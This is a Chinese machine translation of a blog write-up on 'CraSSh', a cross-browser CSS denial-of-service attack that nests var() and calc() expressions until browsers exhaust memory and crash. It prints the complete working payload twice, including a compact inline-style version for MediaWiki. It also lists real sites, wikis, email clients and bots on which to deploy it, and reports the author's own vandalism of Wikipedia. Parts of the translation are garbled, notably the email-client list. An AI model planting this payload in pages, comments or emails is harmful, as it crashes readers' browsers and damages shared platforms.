文章作者: Konstantin Safonov我不想读这篇技术性的文章。 我的浏览器刚刚掉线。什么是CraSSh
CraSSh是一种跨浏览器的纯声明式DoS攻击,基于对现代浏览器中
var()
和
calc()
CSS嵌套函数的不良处理。
CraSSh可在台式机和移动设备上的所有主流浏览器中使用:
- WebKit / Blink引擎-Chrome,Opera,Safari,甚至是智能电视和冰箱上的Samsung Internet。
- Android WebView,iOS UIWebView也会受到影响,也就是说,您可以使用内置浏览器使任何应用程序崩溃。
- 在Gecko引擎上-Firefox及其分支,例如Tor浏览器。
- 伺服没有在我的任何机器上启动,因此我没有对其进行测试。
- 在EdgeHTML引擎上-在Windows上为Edge,在UWP应用程序上为WebView(是否有人在使用它们?)
IE浏览器不受影响,因为它不支持攻击所基于的功能,但是它的用户有很多自己的问题
(该浏览器可能以其他方式被破坏-大约每秒钟) 。
如何运作
CraSSh的想法是让浏览器通过指数时间的嵌套变量调用和巨大的内存使用来计算CSS属性。
该攻击依赖于三个CSS功能:
CSS变量( 自定义属性和var() )它们允许您声明:分配和读取变量:
.variables { --variable: 1px; height: var(--variable); }
变量不允许递归(尽管
WebKit中存在导致无限递归的
错误 )或循环,但可以将它们定义为
表达式calc()表达式calc()允许您在描述规则时执行一些基本的算术运算,例如
'width: calc(50% - 10px)'
。
calc()
允许您引用变量并在单个表达式中使用多个值:
.calc { --variable: 1px; height: calc(var(--variable) + var(--variable)); }
这样就可以:
- 通过添加对先前变量的引用来线性增加每个
calc()
表达式中的calc()
; - 带有引用其他计算变量的
calc()
表达式的每个变量声明以指数方式增加了复杂性:
.calc_multiple { --variable-level-0: 1px; --variable-level-1: calc(var(--variable-level-0) + var(--variable-level-0)); --variable-level-2: calc(var(--variable-level-1) + var(--variable-level-1)); --variable-level-n: calc(var(--variable-level-n-1) + var(--variable-level-n-1)); }
似乎应该在指数时间内进行计算,但是现代浏览器更智能一些,因此它们通常只计算一次变量的值,从而将复杂度降低为线性。 诀窍在于,如果变量值具有
异类意义从技术上讲,这是
calc()
一部分,但值得特别提及。 异构变量包含绝对和相对单位。 她不能是:
- 计算为绝对值,并由各种应用程序共享给各种元素,因为它取决于目标元素的属性(单位为
'%'
/ 'em'
); - 在一个应用程序中计算为绝对值,因为在某些情况下,这会导致舍入误差的累积,从而导致奇怪的子像素偏移量违反复杂的布局(您是否有12列,每1/12的屏幕宽度?没有运气,哥们,它们会在一起换一个新行,或者在末尾留下一个笨拙的空白)。
因此,每次都会重新计算此值:
.non_cached { --const: calc(50% + 10px); --variable: calc(var(--const) + var(--const)); width: var(--variable); }
关于第二点,大多数浏览器只是将具有异类值的嵌套变量嵌入单个表达式中,以避免舍入错误:
.mixed { --mixed:calc(1% + 1px); --mixed-reference: calc(var(--mixed) + var(--mixed)); --mixed-reference-evaluates-to: calc(1% + 1px + 1% + 1px); --mixed-reference-computes-as: calc(2% + 2px); }
想象一下表达式中有数百万(或数十亿)个元素... CSS引擎正在尝试分配数GB的RAM,减少表达式,添加事件处理程序,以便可以在发生某些更改时对属性进行计数。 最后,这发生在某个阶段。
因此,原始的CraSSh看起来如下:
.crassh { --initial-level-0: calc(1vh + 1% + 1px + 1em + 1vw + 1cm); --level-1: calc(var(--initial-level-0) + var(--initial-level-0)); --level-2: calc(var(--level-1) + var(--level-1)); --level-3: calc(var(--level-2) + var(--level-2)); --level-4: calc(var(--level-3) + var(--level-3)); --level-5: calc(var(--level-4) + var(--level-4)); --level-6: calc(var(--level-5) + var(--level-5)); --level-7: calc(var(--level-6) + var(--level-6)); --level-8: calc(var(--level-7) + var(--level-7)); --level-9: calc(var(--level-8) + var(--level-8)); --level-10: calc(var(--level-9) + var(--level-9)); --level-11: calc(var(--level-10) + var(--level-10)); --level-12: calc(var(--level-11) + var(--level-11)); --level-13: calc(var(--level-12) + var(--level-12)); --level-14: calc(var(--level-13) + var(--level-13)); --level-15: calc(var(--level-14) + var(--level-14)); --level-16: calc(var(--level-15) + var(--level-15)); --level-17: calc(var(--level-16) + var(--level-16)); --level-18: calc(var(--level-17) + var(--level-17)); --level-19: calc(var(--level-18) + var(--level-18)); --level-20: calc(var(--level-19) + var(--level-19)); --level-21: calc(var(--level-20) + var(--level-20)); --level-22: calc(var(--level-21) + var(--level-21)); --level-23: calc(var(--level-22) + var(--level-22)); --level-24: calc(var(--level-23) + var(--level-23)); --level-25: calc(var(--level-24) + var(--level-24)); --level-26: calc(var(--level-25) + var(--level-25)); --level-27: calc(var(--level-26) + var(--level-26)); --level-28: calc(var(--level-27) + var(--level-27)); --level-29: calc(var(--level-28) + var(--level-28)); --level-30: calc(var(--level-29) + var(--level-29)); --level-final: calc(var(--level-30) + 1px); border-width: var(--level-final); border-style: solid; }
<div class="crassh"> , CSS CraSSh </div>
这是少于1000个字符的内置版本(用于演示的MediaWiki)。
<div style="--a:1px;--b:calc(var(--a) + var(--a));--c:calc(var(--b) + var(--b));--d:calc(var(--c) + var(--c));--e:calc(var(--d) + var(--d));--f:calc(var(--e) + var(--e));--g:calc(var(--f) + var(--f));--h:calc(var(--g) + var(--g));--i:calc(var(--h) + var(--h));--j:calc(var(--i) + var(--i));--k:calc(var(--j) + var(--j));--l:calc(var(--k) + var(--k));--m:calc(var(--l) + var(--l));--n:calc(var(--m) + var(--m));--o:calc(var(--n) + var(--n));--p:calc(var(--o) + var(--o));--q:calc(var(--p) + var(--p));--r:calc(var(--q) + var(--q));--s:calc(var(--r) + var(--r));--t:calc(var(--s) + var(--s));--u:calc(var(--t) + var(--t));--v:calc(var(--u) + var(--u));--w:calc(var(--v) + var(--v));--x:calc(var(--w) + var(--w));--y:calc(var(--x) + var(--x));--z:calc(var(--y) + var(--y));--vf:calc(var(--z) + 1px);border-width:var(--vf);border-style:solid;">CraSSh</div>
使用方法
除了使用户离开可以完全访问HTML的平台(
例如 Tumblr(
例如,发生浏览器崩溃 )或LiveJournal(
例如,发生浏览器崩溃 ))离开他们自己的网站或博客,CraSSh还允许您:
- 在您控制的网站页面上断开UI,并允许您定义任意CSS,甚至不提供HTML模板。 我设法打破了MyAnimeList( 例如发生浏览器崩溃 )。 Reddit不受此攻击的影响,因为其解析器不支持CSS变量。
- 在公共的,可公开访问的可写页面上粉碎UI,使您可以嵌入带有内联样式的HTML标签。 在Wikipedia上,尽管我在个人页面上发布了一个浏览器故障的示例,但我的帐户被禁止破坏。 该攻击会影响大多数基于MediaWiki的项目。 原则上,破碎的页面将无法再通过UI还原。
- 导致启用HTML的电子邮件客户端
- 这非常棘手,因为电子邮件客户端会删除/减少HTML,并且通常不支持 CraSSh使用的现代CSS功能 。
- CraSSh在
- CraSSh无法在
- Outlook(网络)
- Gmail(网络)
- Gmail(Android)
- 雅虎(网络)
- Yandex(网络)
- Protonmail(网络)
- Zimbra(网络,离线安装)
- Windows Mail(显然是Windows)
- 必须在
- 其他人还没有测试。
- 我只是有一个令人讨厌的想法,那就是CraSSh可以用于基于CEF / PhantomJS的机器人。 被攻击的站点可以注入带有标头的CraSSh代码( 如此处 ),并且不会显示通常的403错误。
- 这可能会导致漫游器崩溃(没人期望堆栈溢出或无头浏览器中的内容)
- 调试起来非常困难,因为它甚至没有出现在答案正文中,很可能会记录在日志中
为什么这样做
- 还记得Linus的帖子吗?
看来IT安全领域已达到新的高度。
如果您从事安全工作并认为自己有良心,那么我认为您可以写:
“不,真的,我不是妓女。 老实说,老实说”
在他的名片上。 我曾经以为整个行业都很烂,但这已经变得荒谬了。
安全人员在什么时候承认他们喜欢提请自己注意?
我走得更远,并把整个站点都专门用来解决一个简单的错误,因为让我工作到凌晨4点并关注所取得的成果是使我免于沮丧并跳入办公室前那条漂亮人行道的几件事。 - 另外,我讨厌前端,这是我作为全栈开发人员的工作的一部分,而这些事情使我有所放松。
类似的东西
现在我正在参加一个了不起的项目,稍后我们将讨论。 在
Twitter上关注我们。
特别感谢